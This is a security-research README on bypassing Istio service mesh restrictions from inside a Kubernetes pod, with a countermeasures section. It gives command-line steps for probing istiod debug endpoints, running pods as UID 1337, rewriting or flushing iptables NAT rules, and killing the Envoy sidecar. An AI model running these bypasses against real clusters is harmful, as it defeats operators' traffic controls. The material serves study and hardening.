└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # Istio security restrictions bypass 2 | The research was conducted during Summ3r 0f h4ck 2021 internship by [r0binak](https://github.com/r0binak) and [Forest1k](https://github.com/Forest1k). Based on [Istio version 1.10.3](https://github.com/istio/istio) 3 | ![final_not](https://user-images.githubusercontent.com/80983900/127554998-bc423ac0-eb93-47a5-89e5-2ff6af9670fa.png) 4 | 5 | 6 | 7 | ## Detect Istio 8 | When the adversary is inside the pod (or get RCE in app), he or she doesn't know that k8s work with Istio service mesh. 9 | 10 | - Use curl to detect Istio: 11 | 12 | ```bash 13 | curl localhost:15000 14 | ``` 15 | > In Istio 1.11 update, the Istiod debug interface is only accessible over localhost or with proper authentication (mTLS or JWT). 16 | ```bash 17 | curl -sS istiod.istio-system:15014/debug/endpointz 18 | ``` 19 | ```bash 20 | curl -sS istiod.istio-system:15014/metrics 21 | ``` 22 | ```bash 23 | curl -sS istiod.istio-system:15014/debug/registryz 24 | ``` 25 | ```bash 26 | curl -sS istiod.istio-system:15014/debug/registryz?brief=1 27 | ``` 28 | ```bash 29 | curl -sS istiod.istio-system:15014/debug/configz 30 | ``` 31 | > Istio 1.11 version added the HTTP endpoint localhost:15004/debug/ to the Istio sidecar agent. GET requests to that URL will be resolved by sending an xDS discovery “event” to istiod. 32 | ```bash 33 | curl localhost:15004/debug/endpointz 34 | ``` 35 | ```bash 36 | curl -fsI http://localhost:15021/healthz/ready 37 | ``` 38 | From within a workload container deployed with the Istio sidecar proxy, run the following 39 | command: 40 | ```bash 41 | curl -s http://localhost:15000/config_dump?include_cds 42 | ``` 43 | Notice that the configuration for the sidecar proxy is returned. 44 | - create a pod with UID 1337: 45 | 46 | ```yaml 47 | securityContext: 48 | runAsUser: 1337 49 | ``` 50 | If your existing service account has sufficient rights to create a pod, create one with UID 1337. The new pod will not have a Istio sidecar. 51 | - Send DNS request: 52 | ```bash 53 | nslookup istiod.istio-system 54 | ``` 55 | List all service DNS records with their corresponding svc IP: 56 | ```bash 57 | dig +short srv any.any.svc.cluster.local 58 | ``` 59 | ## Bypass Istio sidecar 60 | ### Change iptables rules 61 | > When a container has CAP_NET_ADMIN capability granted, it can rewrite its own iptables rules and bypass the Envoy proxy. 62 | 63 | Check iptables rules: 64 | ```bash 65 | root@samplepod:~$ iptables -t nat -L 66 | Chain PREROUTING (policy ACCEPT) 67 | target prot opt source destination 68 | ISTIO_INBOUND tcp -- anywhere anywhere 69 | Chain INPUT (policy ACCEPT) 70 | target prot opt source destination 71 | Chain OUTPUT (policy ACCEPT) 72 | target prot opt source destination 73 | ISTIO_OUTPUT tcp -- anywhere anywhere 74 | Chain POSTROUTING (policy ACCEPT) 75 | target prot opt source destination 76 | Chain ISTIO_INBOUND (1 references) 77 | target prot opt source destination 78 | RETURN tcp -- anywhere anywhere tcp dpt:15008 79 | RETURN tcp -- anywhere anywhere tcp dpt:ssh 80 | RETURN tcp -- anywhere anywhere tcp dpt:15090 81 | RETURN tcp -- anywhere anywhere tcp dpt:15021 82 | RETURN tcp -- anywhere anywhere tcp dpt:15020 83 | ISTIO_IN_REDIRECT tcp -- anywhere anywhere 84 | Chain ISTIO_IN_REDIRECT (3 references) 85 | target prot opt source destination 86 | REDIRECT tcp -- anywhere anywhere redir ports 15006 87 | Chain ISTIO_OUTPUT (1 references) 88 | target prot opt source destination 89 | RETURN all -- ip-127-0-0-6.eu-west-3.compute.internal anywhere 90 | ISTIO_IN_REDIRECT all -- anywhere !localhost owner UID match 1337 91 | RETURN all -- anywhere anywhere ! owner UID match 1337 92 | RETURN all -- anywhere anywhere owner UID match 1337 93 | ISTIO_IN_REDIRECT all -- anywhere !localhost owner GID match 1337 94 | RETURN all -- anywhere anywhere ! owner GID match 1337 95 | RETURN all -- anywhere anywhere owner GID match 1337 96 | RETURN all -- anywhere localhost 97 | ISTIO_REDIRECT all -- anywhere anywhere 98 | Chain ISTIO_REDIRECT (1 references) 99 | target prot opt source destination 100 | REDIRECT tcp -- anywhere anywhere redir ports 15001 101 | ``` 102 | We know that ```ISTIO_IN_REDIRECT``` is redirecting our inbound traffic to the proxy. All we need to do is to inject a rule that runs before it and RETURNS the packet early, skipping the redirect. We only want to trick Istio into not intercepting packets for port 7777. We still do want 8080 to go through the proxy, which is why we've selected a destination port of 7777. 103 | 104 | Add new rule: 105 | ```console 106 | root@samplepod:~$ iptables -t nat -I PREROUTING -p tcp --dport 7777 -j RETURN 107 | ``` 108 | ```-I PREROUTING``` means to prepend the rule to the front of the ```PREROUTING``` chain. By using ```-I```, we can ensure our rule runs before Istio's rule. 109 | 110 | Check iptables rules again: 111 | ```console 112 | Chain PREROUTING (policy ACCEPT) 113 | target prot opt source destination 114 | RETURN tcp -- anywhere anywhere tcp dpt:7777 115 | ``` 116 | If you want delete all rules: 117 | ```console 118 | root@samplepod:~$ iptables -t nat --flush 119 | ``` 120 | ```console 121 | Chain PREROUTING (policy ACCEPT) 122 | target prot opt source destination 123 | 124 | Chain INPUT (policy ACCEPT) 125 | target prot opt source destination 126 | 127 | Chain OUTPUT (policy ACCEPT) 128 | target prot opt source destination 129 | 130 | Chain POSTROUTING (policy ACCEPT) 131 | target prot opt source destination 132 | 133 | Chain ISTIO_INBOUND (0 references) 134 | target prot opt source destination 135 | 136 | Chain ISTIO_IN_REDIRECT (0 references) 137 | target prot opt source destination 138 | 139 | Chain ISTIO_OUTPUT (0 references) 140 | target prot opt source destination 141 | 142 | Chain ISTIO_REDIRECT (0 references) 143 | target prot opt source destination 144 | ``` 145 | - If you have the ability to create pods, add these annotations to disable the Istio sidecar: 146 | ```yaml 147 | annotations: 148 | sidecar.istio.io/inject: "false" 149 | ``` 150 | ```yaml 151 | annotations: 152 | proxy.istio.io/config: '{ "terminationDrainDuration": 20s}' 153 | ``` 154 | - Non-TCP based protocols, such as UDP, are not proxied. These protocols will continue to function as normal, without any interception by the Istio proxy but cannot be used in proxy-only components such as ingress or egress gateways. 155 | - By default, Istio’s sidecar iptables inbound redirection rules shortcircuit if the destination port is 15090, 15021, 15020, or 22. As Envoy does not listen on 156 | port 22, this enables the workload container to do so and receive connections to the port. 157 | - You can also selectively disable ports for proxying Istio sidecar: 158 | 159 | ```yaml 160 | annotations: 161 | traffic.sidecar.istio.io/excludeInboundPorts: "8090" 162 | ``` 163 | - Need root and have spec in the pod: 164 | ```yaml 165 | shareProcessNamespace: true 166 | ``` 167 | ```console 168 | podname@samplepod:~$ sudo su - 169 | root@samplepod:~$ adduser --uid 1337 envoyuser 170 | root@samplepod:~$ su - envoyuser 171 | envoyuser@samplepod:~$ pkill -f /usr/local/bin/pilot-agent 172 | ``` 173 | - Do this curl requests in the pod for kill sidecar. However, the sidecar will restart after a while. 174 | 175 | ```curl --request POST localhost:15000/quitquitquit``` 176 | 177 | ```curl --request POST localhost:15020/quitquitquit``` 178 | 179 | ## Countermeasure from attacks 180 | - Change Envoy admin port: 181 | ```yaml 182 | annotations: 183 | proxy.istio.io/config: | 184 | proxyAdminPort: 14000 185 | ``` 186 | - Set limited rights for a service account: 187 | ```yaml 188 | kind: Role 189 | apiVersion: rbac.authorization.k8s.io/v1 190 | metadata: 191 | namespace: mynamespace 192 | name: example-role 193 | rules: 194 | - apiGroups: [""] 195 | resources: ["pods"] 196 | verbs: ["get", "watch", "list"] 197 | ``` 198 | - Drop all capabilities and include only the ones you need: 199 | ```yaml 200 | securityContext: 201 | capabilities: 202 | drop: 203 | - all 204 | add: ["MKNOD"] 205 | ``` 206 | - Use distroless images. Non-essential executables and libraries are no longer part of the images when using the distroless variant. The attack surface is reduced. Include the smallest possible set of vulnerabilities. 207 | - Deploy the Istio CNI plugin in your cluster so it can manage iptables rules in place of the istio-init containers. The Istio CNI plugin performs the Istio mesh pod traffic redirection in the Kubernetes pod lifecycle’s network setup phase, thereby removing the requirement for the NET_ADMIN and NET_RAW capabilities for users deploying pods into the Istio mesh. The Istio CNI plugin replaces the functionality provided by the istio-init container. 208 | 209 | In most environments, a basic Istio cluster with CNI enabled can be installed using the following command: 210 | 211 | ```console 212 | $ cat < istio-cni.yaml 213 | apiVersion: install.istio.io/v1alpha1 214 | kind: IstioOperator 215 | spec: 216 | components: 217 | cni: 218 | enabled: true 219 | values: 220 | cni: 221 | excludeNamespaces: 222 | - istio-system 223 | - kube-system 224 | logLevel: info 225 | EOF 226 | $ istioctl install -f istio-cni.yaml 227 | ``` 228 | - Envoy doesn't support UDP, UDP traffic won't be proxied, so use NetworkPolicy to ensure only TCP traffic is allowed to/from the Pod (e.g., to avoid TCP traffic being tunnelled out via a VPN over UDP) 229 | - Run ```istioctl proxy-status``` for the current Istio Pilot sync status of each pod istio-proxy container. 230 | - Retrieve the current Envoy xDS configuration for a given pod’s proxy sidecar with the ```istioctl proxy-config cluster|listener|endpoint|route``` commands. 231 | - If you have applied an Istio configuration, but it doesn't seem to be taking effect, and ```istioctl proxy-status``` shows all proxies as synced, there may be a conflict with the rule. Check the Pilot logs with the command ```kubectl logs -l app=pilot -n istio-system -c discovery``` and if you see a non-empty ```ProxyStatus``` block, Pilot cannot reconcile or apply configurations for the named Envoy resources. 232 | - If Pilot doesn’t report any conflicts or other configuration issues, the proxies may be having a connection issue. You can check the log of the ```istio-proxy``` container in the source and destination pods for issues. If you don’t see anything helpful, you can increase the logging verbosity of the istio-proxy sidecar, which listens on port 15000 of the pod. (You may have to use ```kubectl port-forward``` to be able to connect to the sidecar.) Use a ```POST``` request against the proxy port to update the logging level: ```curl -s -XPOST http://localhost:15000/logging?level=debug``` 233 | - Istio telemetry also collects the Envoy access logs, which include the connection response flags. Use the command ```kubectl logs -l app=telemetry -n istio-system -c mixer``` to see the log entries if you’re using Mixer telemetry. If your cluster has a Prometheus instance configured to scrape Istio’s metrics, you can query that. 234 | ## Istio security best practices 235 | https://istio.io/latest/docs/ops/best-practices/security/ 236 | ## References 237 | [A Survey of Istio’s Network Security Features](https://research.nccgroup.com/2020/03/04/a-survey-of-istios-network-security-features/) 238 | 239 | [Announcing the results of Istio’s first security assessment](https://istio.io/latest/blog/2021/ncc-security-assessment/) 240 | 241 | [Istio security assessment report](https://istio.io/latest/blog/2021/ncc-security-assessment/NCC_Group_Google_GOIST2005_Report_2020-08-06_v1.1.pdf) 242 | --------------------------------------------------------------------------------